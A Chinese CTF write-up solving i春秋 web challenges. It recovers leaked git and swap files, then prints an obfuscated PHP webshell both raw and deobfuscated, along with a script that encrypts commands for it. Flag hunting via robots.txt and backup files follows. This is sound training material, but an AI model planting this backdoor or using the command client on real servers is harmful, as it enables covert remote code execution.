posti春秋11

web——backdoor

他说有源码泄露,就先试试git泄漏,
http://8f5271da775d49a7a0166a25cc5c836e795e8d00fc0044de.changame.ichunqiu.com/Challenges/.git/,在githack中就扫出来三个没啥用的文件,后来又试了一下常见的网站备份目录,都没有收获,看了一下wp,才知道这里涉及到.git文件的历史文件,也就是修改之前的文件,使用GitHack需要更麻烦的修改,所以这里使用Git_Extract

img 在一个个打开看之后得到:
1
2
3
<?php
echo "flag{true_flag_is_in_the_b4ckdo0r.php}";
?>

然后她说让我们找code,猜测这次应该就是网站的备份文件了,但是试了一圈下来,都没找到,发现是.swo后缀。。。。下载下来后改后缀用kali打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
echo "can you find the source code of me?";
/**
* Signature For Report
*/$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/*
*/$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/*
*/$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/*
*/$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/*
*/$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/*
*/$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/*
*/$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/*
*/$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/*
*/$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/*
*/$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/*
*/$y=str_replace('b','','crbebbabte_funcbbtion');/*
*/$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/*
*/$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/*
*/$v=$y('',$L);$v();/*
*/
echo($L);//这一句是为了得到$L加上去的,恢复得到的文件中并没有
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
$kh="4f7f";
$kf="28d7";
function x($t,$k)
{ $c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;)
{
for($j=0;($j<$c&&$i<$l); $j++,$i++)
{
$o.=$t{$i}^$k{$j};
}
}
return $o; }
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra)
{
$u=parse_url($rr);#parse_url()本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
parse_str($u["query"],$q);//这里就是要让我们传参数参数名都可以,这里是要跟下面打配合的
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);//这里匹配的内容是任意一个字母 匹配任意一个字母和符号- 匹配;q=0.加上一个数字,接下来还会建立三个数组,一个就是根据上面的匹配内容,第二个是放置所有匹配内容的首字母,第三个是放置所有匹配内容当中的数字内容
if($q&&$m)
{
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1[0].$m[1[1];
$h=$sl($ss(md5($i.$kh),0,3));//得到数值675
$f=$sl($ss(md5($i.$kf),0,3));//a3e
$p="";
for($z=1;$z<count($m[1]);$z++)
$p.=$q[$m[2][$z]];//这里$q的下标来自于$m最后的一组里面的数字,看了一下,只有在4的时候才为3,所以上面的query需要传入三个数值
if(strpos($p,$h)===0) //判断$p的前三个值是否为$p如果是往下
{
$s[$i]="";//进来这个判断是必须的,这样才会绕过下面那个判断,此时$s:{zz => ""}[1]
$p=$ss($p,3);//截取从第三个字符以后
}
if(array_key_exists($i,$s))
{
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e)//判断a3e是否在输入的数据当中
{
$k=$kh.$kf;ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));//正则替换后进行异或运算再解码解压
$o=ob_get_contents();//eval执行内容传入o
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>"););
@session_destroy();
}
}
}
}
?>

感动到热泪盈眶,为啥没有早点用phpstorm,用了这个工具,在审计代码的过程中变得好简单!!!
代码审计完后,接下来我们需要操作的就是构造我们的payload,这里可以直接用php写一个加密函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function x($t,$k)
{ $c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;)
{
for($j=0;($j<$c&&$i<$l); $j++,$i++)
{
$o.=$t[$i]^$k[$j];
}
}
return $o; }
$o="system('ls');";//记得后面加分号
$k="4f7f28d7";
$c="TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT";//这个是得到的回显
$d=base64_encode(x(gzcompress($o),$k));
$c=@gzuncompress(@x(@base64_decode($c),$k));//这是解密代码
print($d);
print($c);
?>
img 这边有几点需要注意一下: 1.传入的参数的个数,我们上面有个循环$p.=$q[$m\[2][$z]];因为有这个存在,所以需要注意language那一栏的个数,防止p没有获取到我们的代码导致后面的判断过不去 2.这里的referer需要自己添加一下 img 接下来我们就直接catflag 但是那边有个正则替换式,该怎么绕过_呢?但其实不用绕过来着,经过base64编码后我们的语句中已经没有\_之类的东西了, img 这是经过测试以后的可以看到在eval中执行的内容已经是OK的语句了 那为啥在网页端执行不出来呢,查看源码也没有?找了几个wp,有一个也是这种情况,最后在linux系统就可以执行了!我尝试了一下,也可以了img

小结

没想到用了phpstorm这么方便,有时间一定要回去重做一些代码审计题

web——信息收集

flag3:p0rtant_hack}——通过目录.index.php.swp得到
flag2:s_v3ry_im .——通过index.php~得到
flag1:n1book{info_1——通过robots.txt得到
做到现在感觉最简单的题目了吧。。

Author

vague huang

Posted on

2021-03-05

Updated on

2021-03-07

Licensed under

Comments